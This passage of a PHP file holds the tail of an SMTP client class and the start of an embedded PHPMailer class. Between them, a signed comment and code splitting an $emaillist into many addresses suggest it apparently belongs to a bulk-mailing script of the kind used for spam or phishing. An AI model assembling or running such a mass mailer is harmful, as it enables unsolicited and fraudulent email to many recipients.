914
915 if($this->do_debug >= 2) {
916 echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
917 }
918
919 if($code != 250) {
920 $this->error =
921 array("error" => $hello . " not accepted from server",
922 "smtp_code" => $code,
923 "smtp_msg" => substr($rply,4));
924 if($this->do_debug >= 1) {
925 echo "SMTP -> ERROR: " . $this->error["error"] .
926 ": " . $rply . $this->CRLF;
927 }
928 return false;
929 }
930
931 $this->helo_rply = $rply;
932
933 return true;
934 }
935
936 /**
937 * Gets help information on the keyword specified. If the keyword
938 * is not specified then returns generic help, ussually contianing
939 * A list of keywords that help is available on. This function
940 * returns the results back to the user. It is up to the user to
941 * handle the returned data. If an error occurs then false is
942 * returned with $this->error set appropiately.
943 *
944 * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
945 *
946 * SMTP CODE SUCCESS: 211,214
947 * SMTP CODE ERROR : 500,501,502,504,421
948 * @access public
949 * @return string
950 */
951 function Help($keyword="") {
952 $this->error = null; # to avoid confusion
953
954 if(!$this->connected()) {
955 $this->error = array(
956 "error" => "Called Help() without being connected");
957 return false;
958 }
959
960 $extra = "";
961 if(!empty($keyword)) {
962 $extra = " " . $keyword;
963 }
964
965 fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
966
967 $rply = $this->get_lines();
968 $code = substr($rply,0,3);
969
970 if($this->do_debug >= 2) {
971 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
972 }
973
974 if($code != 211 && $code != 214) {
975 $this->error =
976 array("error" => "HELP not accepted from server",
977 "smtp_code" => $code,
978 "smtp_msg" => substr($rply,4));
979 if($this->do_debug >= 1) {
980 echo "SMTP -> ERROR: " . $this->error["error"] .
981 ": " . $rply . $this->CRLF;
982 }
983 return false;
984 }
985
986 return $rply;
987 }
988
989 /**
990 * Starts a mail transaction from the email address specified in
991 * $from. Returns true if successful or false otherwise. If True
992 * the mail transaction is started and then one or more Recipient
993 * commands may be called followed by a Data command.
994 *
995 * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
996 *
997 * SMTP CODE SUCCESS: 250
998 * SMTP CODE SUCCESS: 552,451,452
999 * SMTP CODE SUCCESS: 500,501,421
1000 * @access public
1001 * @return bool
1002 */
1003 function Mail($from) {
1004 $this->error = null; # so no confusion is caused
1005
1006 if(!$this->connected()) {
1007 $this->error = array(
1008 "error" => "Called Mail() without being connected");
1009 return false;
1010 }
1011
1012 $useVerp = ($this->do_verp ? "XVERP" : "");
1013 fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
1014
1015 $rply = $this->get_lines();
1016 $code = substr($rply,0,3);
1017
1018 if($this->do_debug >= 2) {
1019 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1020 }
1021
1022 if($code != 250) {
1023 $this->error =
1024 array("error" => "MAIL not accepted from server",
1025 "smtp_code" => $code,
1026 "smtp_msg" => substr($rply,4));
1027 if($this->do_debug >= 1) {
1028 echo "SMTP -> ERROR: " . $this->error["error"] .
1029 ": " . $rply . $this->CRLF;
1030 }
1031 return false;
1032 }
1033 return true;
1034 }
1035
1036 /**
1037 * Sends the command NOOP to the SMTP server.
1038 *
1039 * Implements from rfc 821: NOOP <CRLF>
1040 *
1041 * SMTP CODE SUCCESS: 250
1042 * SMTP CODE ERROR : 500, 421
1043 * @access public
1044 * @return bool
1045 */
1046 function Noop() {
1047 $this->error = null; # so no confusion is caused
1048
1049 if(!$this->connected()) {
1050 $this->error = array(
1051 "error" => "Called Noop() without being connected");
1052 return false;
1053 }
1054
1055 fputs($this->smtp_conn,"NOOP" . $this->CRLF);
1056
1057 $rply = $this->get_lines();
1058 $code = substr($rply,0,3);
1059
1060 if($this->do_debug >= 2) {
1061 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1062 }
1063
1064 if($code != 250) {
1065 $this->error =
1066 array("error" => "NOOP not accepted from server",
1067 "smtp_code" => $code,
1068 "smtp_msg" => substr($rply,4));
1069 if($this->do_debug >= 1) {
1070 echo "SMTP -> ERROR: " . $this->error["error"] .
1071 ": " . $rply . $this->CRLF;
1072 }
1073 return false;
1074 }
1075 return true;
1076 }
1077
1078 /**
1079 * Sends the quit command to the server and then closes the socket
1080 * if there is no error or the $close_on_error argument is true.
1081 *
1082 * Implements from rfc 821: QUIT <CRLF>
1083 *
1084 * SMTP CODE SUCCESS: 221
1085 * SMTP CODE ERROR : 500
1086 * @access public
1087 * @return bool
1088 */
1089 function Quit($close_on_error=true) {
1090 $this->error = null; # so there is no confusion
1091
1092 if(!$this->connected()) {
1093 $this->error = array(
1094 "error" => "Called Quit() without being connected");
1095 return false;
1096 }
1097
1098 # send the quit command to the server
1099 fputs($this->smtp_conn,"quit" . $this->CRLF);
1100
1101 # get any good-bye messages
1102 $byemsg = $this->get_lines();
1103
1104 if($this->do_debug >= 2) {
1105 echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
1106 }
1107
1108 $rval = true;
1109 $e = null;
1110
1111 $code = substr($byemsg,0,3);
1112 if($code != 221) {
1113 # use e as a tmp var cause Close will overwrite $this->error
1114 $e = array("error" => "SMTP server rejected quit command",
1115 "smtp_code" => $code,
1116 "smtp_rply" => substr($byemsg,4));
1117 $rval = false;
1118 if($this->do_debug >= 1) {
1119 echo "SMTP -> ERROR: " . $e["error"] . ": " .
1120 $byemsg . $this->CRLF;
1121 }
1122 }
1123
1124 if(empty($e) || $close_on_error) {
1125 $this->Close();
1126 }
1127
1128 return $rval;
1129 }
1130
1131 /**
1132 * Sends the command RCPT to the SMTP server with the TO: argument of $to.
1133 * Returns true if the recipient was accepted false if it was rejected.
1134 *
1135 * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
1136 *
1137 * SMTP CODE SUCCESS: 250,251
1138 * SMTP CODE FAILURE: 550,551,552,553,450,451,452
1139 * SMTP CODE ERROR : 500,501,503,421
1140 * @access public
1141 * @return bool
1142 */
1143 function Recipient($to) {
1144 $this->error = null; # so no confusion is caused
1145
1146 if(!$this->connected()) {
1147 $this->error = array(
1148 "error" => "Called Recipient() without being connected");
1149 return false;
1150 }
1151
1152 fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
1153
1154 $rply = $this->get_lines();
1155 $code = substr($rply,0,3);
1156
1157 if($this->do_debug >= 2) {
1158 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1159 }
1160
1161 if($code != 250 && $code != 251) {
1162 $this->error =
1163 array("error" => "RCPT not accepted from server",
1164 "smtp_code" => $code,
1165 "smtp_msg" => substr($rply,4));
1166 if($this->do_debug >= 1) {
1167 echo "SMTP -> ERROR: " . $this->error["error"] .
1168 ": " . $rply . $this->CRLF;
1169 }
1170 return false;
1171 }
1172 return true;
1173 }
1174
1175 /**
1176 * Sends the RSET command to abort and transaction that is
1177 * currently in progress. Returns true if successful false
1178 * otherwise.
1179 *
1180 * Implements rfc 821: RSET <CRLF>
1181 *
1182 * SMTP CODE SUCCESS: 250
1183 * SMTP CODE ERROR : 500,501,504,421
1184 * @access public
1185 * @return bool
1186 */
1187 function Reset() {
1188 $this->error = null; # so no confusion is caused
1189
1190 if(!$this->connected()) {
1191 $this->error = array(
1192 "error" => "Called Reset() without being connected");
1193 return false;
1194 }
1195
1196 fputs($this->smtp_conn,"RSET" . $this->CRLF);
1197
1198 $rply = $this->get_lines();
1199 $code = substr($rply,0,3);
1200
1201 if($this->do_debug >= 2) {
1202 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1203 }
1204
1205 if($code != 250) {
1206 $this->error =
1207 array("error" => "RSET failed",
1208 "smtp_code" => $code,
1209 "smtp_msg" => substr($rply,4));
1210 if($this->do_debug >= 1) {
1211 echo "SMTP -> ERROR: " . $this->error["error"] .
1212 ": " . $rply . $this->CRLF;
1213 }
1214 return false;
1215 }
1216
1217 return true;
1218 }
1219
1220 /**
1221 * Starts a mail transaction from the email address specified in
1222 * $from. Returns true if successful or false otherwise. If True
1223 * the mail transaction is started and then one or more Recipient
1224 * commands may be called followed by a Data command. This command
1225 * will send the message to the users terminal if they are logged
1226 * in.
1227 *
1228 * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
1229 *
1230 * SMTP CODE SUCCESS: 250
1231 * SMTP CODE SUCCESS: 552,451,452
1232 * SMTP CODE SUCCESS: 500,501,502,421
1233 * @access public
1234 * @return bool
1235 */
1236 function Send($from) {
1237 $this->error = null; # so no confusion is caused
1238
1239 if(!$this->connected()) {
1240 $this->error = array(
1241 "error" => "Called Send() without being connected");
1242 return false;
1243 }
1244
1245 fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
1246
1247 $rply = $this->get_lines();
1248 $code = substr($rply,0,3);
1249
1250 if($this->do_debug >= 2) {
1251 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1252 }
1253
1254 if($code != 250) {
1255 $this->error =
1256 array("error" => "SEND not accepted from server",
1257 "smtp_code" => $code,
1258 "smtp_msg" => substr($rply,4));
1259 if($this->do_debug >= 1) {
1260 echo "SMTP -> ERROR: " . $this->error["error"] .
1261 ": " . $rply . $this->CRLF;
1262 }
1263 return false;
1264 }
1265 return true;
1266 }
1267
1268 /**
1269 * Starts a mail transaction from the email address specified in
1270 * $from. Returns true if successful or false otherwise. If True
1271 * the mail transaction is started and then one or more Recipient
1272 * commands may be called followed by a Data command. This command
1273 * will send the message to the users terminal if they are logged
1274 * in and send them an email.
1275 *
1276 * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
1277 *
1278 * SMTP CODE SUCCESS: 250
1279 * SMTP CODE SUCCESS: 552,451,452
1280 * SMTP CODE SUCCESS: 500,501,502,421
1281 * @access public
1282 * @return bool
1283 */
1284 function SendAndMail($from) {
1285 $this->error = null; # so no confusion is caused
1286
1287 if(!$this->connected()) {
1288 $this->error = array(
1289 "error" => "Called SendAndMail() without being connected");
1290 return false;
1291 }
1292
1293 fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
1294
1295 $rply = $this->get_lines();
1296 $code = substr($rply,0,3);
1297
1298 if($this->do_debug >= 2) {
1299 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1300 }
1301
1302 if($code != 250) {
1303 $this->error =
1304 array("error" => "SAML not accepted from server",
1305 "smtp_code" => $code,
1306 "smtp_msg" => substr($rply,4));
1307 if($this->do_debug >= 1) {
1308 echo "SMTP -> ERROR: " . $this->error["error"] .
1309 ": " . $rply . $this->CRLF;
1310 }
1311 return false;
1312 }
1313 return true;
1314 }
1315
1316 /**
1317 * Starts a mail transaction from the email address specified in
1318 * $from. Returns true if successful or false otherwise. If True
1319 * the mail transaction is started and then one or more Recipient
1320 * commands may be called followed by a Data command. This command
1321 * will send the message to the users terminal if they are logged
1322 * in or mail it to them if they are not.
1323 *
1324 * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
1325 *
1326 * SMTP CODE SUCCESS: 250
1327 * SMTP CODE SUCCESS: 552,451,452
1328 * SMTP CODE SUCCESS: 500,501,502,421
1329 * @access public
1330 * @return bool
1331 */
1332 function SendOrMail($from) {
1333 $this->error = null; # so no confusion is caused
1334
1335 if(!$this->connected()) {
1336 $this->error = array(
1337 "error" => "Called SendOrMail() without being connected");
1338 return false;
1339 }
1340
1341 fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
1342
1343 $rply = $this->get_lines();
1344 $code = substr($rply,0,3);
1345
1346 if($this->do_debug >= 2) {
1347 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1348 }
1349
1350 if($code != 250) {
1351 $this->error =
1352 array("error" => "SOML not accepted from server",
1353 "smtp_code" => $code,
1354 "smtp_msg" => substr($rply,4));
1355 if($this->do_debug >= 1) {
1356 echo "SMTP -> ERROR: " . $this->error["error"] .
1357 ": " . $rply . $this->CRLF;
1358 }
1359 return false;
1360 }
1361 return true;
1362 }
1363
1364 /**
1365 * This is an optional command for SMTP that this class does not
1366 * support. This method is here to make the RFC821 Definition
1367 * complete for this class and __may__ be implimented in the future
1368 *
1369 * Implements from rfc 821: TURN <CRLF>
1370 *
1371 * SMTP CODE SUCCESS: 250
1372 * SMTP CODE FAILURE: 502
1373 * SMTP CODE ERROR : 500, 503
1374 * @access public
1375 * @return bool
1376 */
1377 function Turn() {
1378 $this->error = array("error" => "This method, TURN, of the SMTP ".
1379 "is not implemented");
1380 if($this->do_debug >= 1) {
1381 echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
1382 }
1383 return false;
1384 }
1385
1386 /**
1387 * Verifies that the name is recognized by the server.
1388 * Returns false if the name could not be verified otherwise
1389 * the response from the server is returned.
1390 *
1391 * Implements rfc 821: VRFY <SP> <string> <CRLF>
1392 *
1393 * SMTP CODE SUCCESS: 250,251
1394 * SMTP CODE FAILURE: 550,551,553
1395 * SMTP CODE ERROR : 500,501,502,421
1396 * @access public
1397 * @return int
1398 */
1399 function Verify($name) {
1400 $this->error = null; # so no confusion is caused
1401
1402 if(!$this->connected()) {
1403 $this->error = array(
1404 "error" => "Called Verify() without being connected");
1405 return false;
1406 }
1407
1408 fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
1409
1410 $rply = $this->get_lines();
1411 $code = substr($rply,0,3);
1412
1413 if($this->do_debug >= 2) {
1414 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1415 }
1416
1417 if($code != 250 && $code != 251) {
1418 $this->error =
1419 array("error" => "VRFY failed on name '$name'",
1420 "smtp_code" => $code,
1421 "smtp_msg" => substr($rply,4));
1422 if($this->do_debug >= 1) {
1423 echo "SMTP -> ERROR: " . $this->error["error"] .
1424 ": " . $rply . $this->CRLF;
1425 }
1426 return false;
1427 }
1428 return $rply;
1429 }
1430
1431 /*******************************************************************
1432 * INTERNAL FUNCTIONS *
1433 ******************************************************************/
1434
1435 /**
1436 * Read in as many lines as possible
1437 * either before eof or socket timeout occurs on the operation.
1438 * With SMTP we can tell if we have more lines to read if the
1439 * 4th character is '-' symbol. If it is a space then we don't
1440 * need to read anything else.
1441 * @access private
1442 * @return string
1443 */
1444 function get_lines() {
1445 $data = "";
1446 while($str = @fgets($this->smtp_conn,515)) {
1447 if($this->do_debug >= 4) {
1448 echo "SMTP -> get_lines(): \$data was \"$data\"" .
1449 $this->CRLF;
1450 echo "SMTP -> get_lines(): \$str is \"$str\"" .
1451 $this->CRLF;
1452 }
1453 $data .= $str;
1454 if($this->do_debug >= 4) {
1455 echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
1456 }
1457 # if the 4th character is a space then we are done reading
1458 # so just break the loop
1459 if(substr($str,3,1) == " ") { break; }
1460 }
1461 return $data;
1462 }
1463
1464}
1465 // Here Bitchz Hilmy
1466
1467$allemails = split("\n", $emaillist);
1468$numemails = count($allemails);
1469
1470class PHPMailer {
1471
1472 /////////////////////////////////////////////////
1473 // PROPERTIES, PUBLIC
1474 /////////////////////////////////////////////////
1475
1476 /**
1477 * Email priority (1 = High, 3 = Normal, 5 = low).
1478 * @var int
1479 */
1480 var $Priority = 3;
1481
1482 /**
1483 * Sets the CharSet of the message.
1484 * @var string
1485 */
1486 var $CharSet = 'us-ascii';
1487
1488 /**
1489 * Sets the Content-type of the message.
1490 * @var string
1491 */
1492 var $ContentType = 'text/plain';
1493
1494 /**
1495 * Sets the Encoding of the message. Options for this are "8bit",
1496 * "7bit", "binary", "base64", and "quoted-printable".
1497
1498 * @var string
1499 */
1500 var $Encoding = 'quoted-printable';
1501
1502 /**
1503 * Holds the most recent mailer error message.
1504 * @var string
1505 */
1506 var $ErrorInfo = '';
1507
1508 /**
1509 * Sets the From email address for the message.
1510 * @var string
1511 */
1512 var $From = '';
1513
1514 /**
1515 * Sets the From name of the message.
1516 * @var string
1517 */
1518 var $FromName = '';
1519
1520 /**
1521 * Sets the Sender email (Return-Path) of the message. If not empty,
1522 * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
1523 * @var string
1524 */
1525 var $Sender = '';
1526
1527 /**
1528 * Sets the Subject of the message.
1529 * @var string
1530 */
1531 var $Subject = '';
1532
1533 /**
1534 * Sets the Body of the message. This can be either an HTML or text body.
1535 * If HTML then run IsHTML(true).
1536 * @var string
1537 */
1538 var $Body = '';
1539
1540 /**
1541 * Sets the text-only body of the message. This automatically sets the
1542 * email to multipart/alternative. This body can be read by mail
1543 * clients that do not have HTML email capability such as mutt. Clients
1544 * that can read HTML will view the normal Body.
1545 * @var string
1546 */
1547 var $AltBody = '';
1548
1549 /**
1550 * Sets word wrapping on the body of the message to a given number of
1551 * characters.
1552 * @var int
1553 */
1554 var $WordWrap = 0;
1555
1556 /**
1557 * Method to send mail: ("mail", "sendmail", or "smtp").
1558 * @var string
1559 */
1560 var $Mailer = 'mail';
1561
1562 /**
1563 * Sets the path of the sendmail program.
1564 * @var string
1565 */
1566 var $Sendmail = '/usr/sbin/sendmail';
1567
1568 /**
1569 * Path to PHPMailer plugins. This is now only useful if the SMTP class
1570 * is in a different directory than the PHP include path.
1571 * @var string
1572 */
1573 var $PluginDir = '';
1574
1575 /**
1576 * Holds PHPMailer version.
1577 * @var string
1578 */
1579 var $Version = "";
1580
1581 /**
1582 * Sets the email address that a reading confirmation will be sent.
1583 * @var string
1584 */
1585 var $ConfirmReadingTo = '';
1586
1587 /**
1588 * Sets the hostname to use in Message-Id and Received headers
1589 * and as default HELO string. If empty, the value returned
1590 * by SERVER_NAME is used or 'localhost.localdomain'.
1591 * @var string
1592 */
1593 var $Hostname = '';
1594
1595 /**
1596 * Sets the message ID to be used in the Message-Id header.
1597 * If empty, a unique id will be generated.
1598 * @var string
1599 */
1600 var $MessageID = '';
1601
1602 /////////////////////////////////////////////////
1603 // PROPERTIES FOR SMTP
1604 /////////////////////////////////////////////////
1605
1606 /**
1607 * Sets the SMTP hosts. All hosts must be separated by a
1608 * semicolon. You can also specify a different port
1609 * for each host by using this format: [hostname:port]
1610 * (e.g. "smtp1.example.com:25;smtp2.example.com").
1611 * Hosts will be tried in order.
1612 * @var string
1613 */
1614 var $Host = 'localhost';
1615
1616 /**
1617 * Sets the default SMTP server port.
1618 * @var int
1619 */
1620 var $Port = 25;
1621
1622 /**
1623 * Sets the SMTP HELO of the message (Default is $Hostname).
1624 * @var string
1625 */
1626 var $Helo = '';
1627
1628 /**
1629 * Sets connection prefix.
1630 * Options are "", "ssl" or "tls"
1631 * @var string
1632 */
1633 var $SMTPSecure = "";
1634
1635 /**
1636 * Sets SMTP authentication. Utilizes the Username and Password variables.
1637 * @var bool
1638 */
1639 var $SMTPAuth = false;
1640
1641 /**
1642 * Sets SMTP username.
1643 * @var string
1644 */
1645 var $Username = '';
1646
1647 /**
1648 * Sets SMTP password.
1649 * @var string
1650 */
1651 var $Password = '';
1652
1653 /**
1654 * Sets the SMTP server timeout in seconds. This function will not
1655 * work with the win32 version.
1656 * @var int
1657 */
1658 var $Timeout = 10;
1659
1660 /**
1661 * Sets SMTP class debugging on or off.
1662 * @var bool
1663 */
1664 var $SMTPDebug = false;
1665
1666 /**
1667 * Prevents the SMTP connection from being closed after each mail
1668 * sending. If this is set to true then to close the connection
1669 * requires an explicit call to SmtpClose().
1670 * @var bool
1671 */
1672 var $SMTPKeepAlive = false;
1673
1674 /**
1675 * Provides the ability to have the TO field process individual
1676 * emails, instead of sending to entire TO addresses
1677 * @var bool
1678 */
1679 var $SingleTo = false;
1680
1681 /////////////////////////////////////////////////
1682 // PROPERTIES, PRIVATE
1683 /////////////////////////////////////////////////
1684
1685 var $smtp = NULL;
1686 var $to = array();
1687 var $cc = array();
1688 var $bcc = array();
1689 var $ReplyTo = array();
1690 var $attachment = array();
1691 var $CustomHeader = array();
1692 var $message_type = '';
1693 var $boundary = array();
1694 var $language = array();
1695 var $error_count = 0;
1696 var $LE = "\n";
1697 var $sign_key_file = "";
1698 var $sign_key_pass = "";
1699
1700 /////////////////////////////////////////////////
1701 // METHODS, VARIABLES
1702 /////////////////////////////////////////////////
1703
1704 /**
1705 * Sets message type to HTML.
1706 * @param bool $bool
1707 * @return void
1708 */
1709 function IsHTML($bool) {
1710 if($bool == true) {
1711 $this->ContentType = 'text/html';
1712 } else {
1713 $this->ContentType = 'text/plain';
1714 }
1715 }
1716
1717 /**
1718 * Sets Mailer to send message using SMTP.
1719 * @return void
1720 */
1721 function IsSMTP() {
1722 $this->Mailer = 'smtp';
1723 }
1724
1725 /**
1726 * Sets Mailer to send message using PHP mail() function.
1727 * @return void
1728 */
1729 function IsMail() {
1730 $this->Mailer = 'mail';
1731 }
1732
1733 /**
1734 * Sets Mailer to send message using the $Sendmail program.
1735 * @return void
1736 */
1737 function IsSendmail() {
1738 $this->Mailer = 'sendmail';
1739 }
1740
1741 /**
1742 * Sets Mailer to send message using the qmail MTA.
1743 * @return void
1744 */
1745 function IsQmail() {
1746 $this->Sendmail = '/var/qmail/bin/sendmail';
1747 $this->Mailer = 'sendmail';
1748 }
1749
1750 /////////////////////////////////////////////////
1751 // METHODS, RECIPIENTS
1752 /////////////////////////////////////////////////
1753
1754 /**
1755 * Adds a "To" address.
1756 * @param string $address
1757 * @param string $name
1758 * @return void
1759 */
1760 function AddAddress($address, $name = '') {
1761 $cur = count($this->to);
1762 $this->to[$cur][0] = trim($address);
1763 $this->to[$cur][1] = $name;
1764 }
1765
1766 /**
1767 * Adds a "Cc" address. Note: this function works
1768 * with the SMTP mailer on win32, not with the "mail"
1769 * mailer.
1770 * @param string $address
1771 * @param string $name
1772 * @return void
1773 */
1774 function AddCC($address, $name = '') {
1775 $cur = count($this->cc);
1776 $this->cc[$cur][0] = trim($address);
1777 $this->cc[$cur][1] = $name;
1778 }
1779
1780 /**
1781 * Adds a "Bcc" address. Note: this function works
1782 * with the SMTP mailer on win32, not with the "mail"
1783 * mailer.
1784 * @param string $address
1785 * @param string $name
1786 * @return void
1787 */
1788 function AddBCC($address, $name = '') {
1789 $cur = count($this->bcc);
1790 $this->bcc[$cur][0] = trim($address);
1791 $this->bcc[$cur][1] = $name;
1792 }
1793
1794 /**
1795 * Adds a "Reply-To" address.
1796 * @param string $address
1797 * @param string $name
1798 * @return void
1799 */
1800 function AddReplyTo($address, $name = '') {
1801 $cur = count($this->ReplyTo);
1802 $this->ReplyTo[$cur][0] = trim($address);
1803 $this->ReplyTo[$cur][1] = $name;
1804 }
1805
1806 /////////////////////////////////////////////////
1807 // METHODS, MAIL SENDING
1808 /////////////////////////////////////////////////
1809
1810 /**
1811 * Creates message and assigns Mailer. If the message is
1812 * not sent successfully then it returns false. Use the ErrorInfo
1813 * variable to view description of the error.
1814 * @return bool
1815 */
1816 function Send() {
1817 $header = '';
1818 $body = '';
1819 $result = true;
1820
1821 if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
1822 $this->SetError($this->Lang('provide_address'));
1823 return false;
1824 }
1825
1826 /* Set whether the message is multipart/alternative */
1827 if(!empty($this->AltBody)) {
1828 $this->ContentType = 'multipart/alternative';
1829 }
1830
1831 $this->error_count = 0; // reset errors
1832 $this->SetMessageType();
1833 $header .= $this->CreateHeader();
1834 $body = $this->CreateBody();
1835
1836 if($body == '') {
1837 return false;
1838 }
1839
1840 /* Choose the mailer */
1841 switch($this->Mailer) {
1842 case 'sendmail':
1843 $result = $this->SendmailSend($header, $body);
1844 break;
1845 case 'smtp':
1846 $result = $this->SmtpSend($header, $body);
1847 break;
1848 case 'mail':
1849 $result = $this->MailSend($header, $body);
1850 break;
1851 default:
1852 $result = $this->MailSend($header, $body);
1853 break;
1854 //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
1855 //$result = false;
1856 //break;
1857 }
1858
1859 return $result;
1860 }
1861
1862 /**
1863 * Sends mail using the $Sendmail program.
1864 * @access private
1865 * @return bool
1866 */
1867 function SendmailSend($header, $body) {
1868 if ($this->Sender != '') {
1869 $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
1870 } else {
1871 $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
1872 }
1873
1874 if(!@$mail = popen($sendmail, 'w')) {
1875 $this->SetError($this->Lang('execute') . $this->Sendmail);
1876 return false;
1877 }
1878
1879 fputs($mail, $header);
1880 fputs($mail, $body);
1881
1882 $result = pclose($mail);
1883 if (version_compare(phpversion(), '4.2.3') == -1) {
1884 $result = $result >> 8 & 0xFF;
1885 }
1886 if($result != 0) {
1887 $this->SetError($this->Lang('execute') . $this->Sendmail);
1888 return false;
1889 }
1890 return true;
1891 }
1892
1893 /**
1894 * Sends mail using the PHP mail() function.
1895 * @access private
1896 * @return bool
1897 */
1898 function MailSend($header, $body) {
1899
1900 $to = '';
1901 for($i = 0; $i < count($this->to); $i++) {
1902 if($i != 0) { $to .= ', '; }
1903 $to .= $this->AddrFormat($this->to[$i]);
1904 }
1905
1906 $toArr = split(',', $to);
1907
1908 $params = sprintf("-oi -f %s", $this->Sender);
1909 if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
1910 $old_from = ini_get('sendmail_from');
1911 ini_set('sendmail_from', $this->Sender);
1912 if ($this->SingleTo === true && count($toArr) > 1) {
1913 foreach ($toArr as $key => $val) {
1914 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1915 }
1916 } else {
1917 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1918 }
1919 } else {
1920 if ($this->SingleTo === true && count($toArr) > 1) {
1921 foreach ($toArr as $key => $val) {
1922 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1923 }
1924 } else {
1925 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
1926 }
1927 }
1928
1929 if (isset($old_from)) {
1930 ini_set('sendmail_from', $old_from);
1931 }
1932
1933 if(!$rt) {
1934 $this->SetError($this->Lang('instantiate'));
1935 return false;
1936 }
1937
1938 return true;
1939 }
1940
1941 /**
1942 * Sends mail via SMTP using PhpSMTP (Author:
1943 * Chris Ryan). Returns bool. Returns false if there is a
1944 * bad MAIL FROM, RCPT, or DATA input.
1945 * @access private
1946 * @return bool
1947 */
1948 function SmtpSend($header, $body) {
1949 $error = '';
1950 $bad_rcpt = array();
1951
1952 if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
1953 return false;
1954 }
1955
1956 $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
1957 if(!$this->smtp->Mail($smtp_from)) {
1958 $error = $this->Lang('from_failed') . $smtp_from;
1959 $this->SetError($error);
1960 $this->smtp->Reset();
1961 return false;
1962 }
1963
1964 /* Attempt to send attach all recipients */
1965 for($i = 0; $i < count($this->to); $i++) {
1966 if(!$this->smtp->Recipient($this->to[$i][0])) {
1967 $bad_rcpt[] = $this->to[$i][0];
1968 }
1969 }
1970 for($i = 0; $i < count($this->cc); $i++) {
1971 if(!$this->smtp->Recipient($this->cc[$i][0])) {
1972 $bad_rcpt[] = $this->cc[$i][0];
1973 }
1974 }
1975 for($i = 0; $i < count($this->bcc); $i++) {
1976 if(!$this->smtp->Recipient($this->bcc[$i][0])) {
1977 $bad_rcpt[] = $this->bcc[$i][0];
1978 }
1979 }
1980
1981 if(count($bad_rcpt) > 0) { // Create error message
1982 for($i = 0; $i < count($bad_rcpt); $i++) {
1983 if($i != 0) {
1984 $error .= ', ';
1985 }
1986 $error .= $bad_rcpt[$i];
1987
1988 }
1989 $error = $this->Lang('recipients_failed') . $error;
1990 $this->SetError($error);
1991 $this->smtp->Reset();
1992 return false;
1993 }
1994
1995 if(!$this->smtp->Data($header . $body)) {
1996 $this->SetError($this->Lang('data_not_accepted'));
1997 $this->smtp->Reset();
1998 return false;
1999 }
2000 if($this->SMTPKeepAlive == true) {
2001 $this->smtp->Reset();
2002 } else {
2003 $this->SmtpClose();
2004 }
2005
2006 return true;
2007 }
2008
2009 /**
2010 * Initiates a connection to an SMTP server. Returns false if the
2011 * operation failed.
2012 * @access private
2013 * @return bool
2014 */
2015 function SmtpConnect() {
2016 if($this->smtp == NULL) {
2017 $this->smtp = new SMTP();
2018 }
2019
2020 $this->smtp->do_debug = $this->SMTPDebug;
2021 $hosts = explode(';', $this->Host);
2022 $index = 0;
2023 $connection = ($this->smtp->Connected());
2024
2025 /* Retry while there is no connection */
2026 while($index < count($hosts) && $connection == false) {
2027 $hostinfo = array();
2028 if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
2029 $host = $hostinfo[1];
2030 $port = $hostinfo[2];
2031 } else {
2032 $host = $hosts[$index];
2033 $port = $this->Port;
2034 }
2035
2036 if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
2037 if ($this->Helo != '') {
2038 $this->smtp->Hello($this->Helo);
2039 } else {
2040 $this->smtp->Hello($this->ServerHostname());
2041 }
2042
2043 $connection = true;
2044 if($this->SMTPAuth) {
2045 if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
2046 $this->SetError($this->Lang('authenticate'));
2047 $this->smtp->Reset();
2048 $connection = false;
2049 }
2050 }
2051 }
2052 $index++;
2053 }
2054 if(!$connection) {
2055 $this->SetError($this->Lang('connect_host'));
2056 }
2057
2058 return $connection;
2059 }
2060
2061 /**
2062 * Closes the active SMTP session if one exists.
2063 * @return void
2064 */
2065 function SmtpClose() {
2066 if($this->smtp != NULL) {
2067 if($this->smtp->Connected()) {
2068 $this->smtp->Quit();
2069 $this->smtp->Close();
2070 }
2071 }
2072 }
